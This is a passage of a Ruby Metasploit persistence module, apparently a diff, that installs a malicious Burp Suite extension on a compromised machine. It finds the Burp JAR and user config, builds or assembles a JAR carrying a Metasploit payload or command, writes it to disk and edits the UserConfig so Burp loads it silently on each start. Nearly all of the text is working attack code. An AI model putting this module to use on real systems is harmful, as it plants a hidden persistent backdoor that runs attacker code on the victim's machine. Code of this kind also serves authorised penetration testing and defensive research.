file?(burp_exec_path) + end + burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar' + return burp_exec_path if file?(burp_exec_path) + end + + def modify_user_config(extension_location, extension_name) + user_config = read_file(@userconfig_path) + + path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil) + print_good("Config file saved in: #{path}") + user_config_json = JSON.parse(user_config) + extensions_config = user_config_json.dig('user_options', 'extender', 'extensions') + + fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config + + malicious_extension = { + 'errors' => 'ui', + 'extension_file' => extension_location, + 'extension_type' => 'java', + 'loaded' => true, + 'name' => extension_name, + 'output' => 'ui', + 'use_ai' => false + } + extensions_config.unshift(malicious_extension) + user_config_json['user_options']['extender']['extensions'] = extensions_config + + fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json)) + @clean_up_rc << "upload #{path} #{@userconfig_path}\n" + end + + def check + if action.name == 'build' + if File.exist?(datastore['GRADLE']) + vprint_good('Gradle found') + else + print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action') + end + end + + @userconfig_path = get_userconfig_path + CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil? + CheckCode::Detected("Found UserConfig file #{@userconfig_path}") + end + + def add_extension(settings_file, extension_location, extension_name) + # open file + config_contents = read_file(settings_file) + # store as loot for backup purposes + path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil) + print_good("Config file saved in: #{path}") + # read json + begin + config_contents = JSON.parse(config_contents) + rescue JSON::ParserError + fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}") + end + malicious_extension = { + 'errors' => 'ui', + 'extension_file' => extension_location, + 'extension_type' => 'java', + 'loaded' => true, + 'name' => extension_name, + 'output' => 'ui' + } + begin + config_contents['user_options']['extender']['extensions'] << malicious_extension + rescue NoMethodError + fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.") + end + # write json + write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) + end + + def run_local_gradle_build(extension_name) + # Check if gradle is installed + fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) + + # Define source and destination directories + src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') + temp_dir = Dir.mktmpdir + + # Copy necessary files to the temporary directory + FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir) + FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir) + FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir) + + # Modify name.txt with the new extension name + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt') + File.open(java_file, 'wb') { |file| file.puts extension_name } + + if target.name == 'Java' + # delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed + File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')) + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar') + payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload') + File.open(java_file, 'wb') { |file| file.puts payload_jar.pack } + else + # Modify command.txt where we put our payload command + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt') + File.open(java_file, 'wb') { |file| file.puts payload.encoded } + end + + # Run gradle clean build + vprint_status("Building Burp extension jar file locally in #{temp_dir}") + Dir.chdir(temp_dir) do + IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout| + stdout.each_line { |line| vprint_line line } + end + end + + # Check if the jar file was created + jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar') + fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file) + print_good("Successfully built the jar file #{jar_file}") + + File.read(jar_file) + end + + def compiled_extension(extension_name) + # see data/exploits/burp_extension/notes.txt on how to get this content + burp_extension_class = File.read(File.join( + Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class' + )) + + jar = Rex::Zip::Jar.new + # build our manifest manually because its only one line and we don't need the extra + # ones that metasploit's build_manifest adds. This more closely implements the gradle build command + jar.add_file('META-INF/', '') + jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") + jar.add_file('burp/', '') + jar.add_file('burp/BurpExtender.class', burp_extension_class) + if target.name == 'Java' + jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack) + else + jar.add_file('command.txt', payload.encoded) + end + jar.add_file('name.txt', extension_name) + + jar + end + + def install_persistence + fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty? + + # RuntimeError `writable?' method does not support Windows systems + if !window_target? && !writable?(writable_dir) + fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}") + end + # get UserConfig file path + unless @userconfig_path + get_userconfig_path + end + + if @userconfig_path.nil? + fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run') + end + vprint_status("Burp UserConfig file: #{@userconfig_path}") + + # get Burp executable + burp_path = get_burp_executable + + fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path + + vprint_status("Burp JAR file: #{burp_path}") + + # create extension + print_status('Creating extension') + extension_name = extension_name_generator + print_status("Using extension name: #{extension_name}") + if window_target? + extension_location = "#{writable_dir}\\#{extension_name}.jar" + else + extension_location = "#{writable_dir}/#{extension_name}.jar" + end + vprint_status('Creating JAR file') + + case action.name + when 'build' + jar = run_local_gradle_build(extension_name) + when 'precompiled' + jar = compiled_extension(extension_name) + end + + # store extension on target's machine + vprint_status("Writing malicious extension to disk: #{extension_location}") + + fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar) + @clean_up_rc << "rm #{extension_location}\n" + # overwrite configuration + vprint_status('Modifying Burp configuration and adding malicious extension') + modify_user_config(extension_location, extension_name) + end +end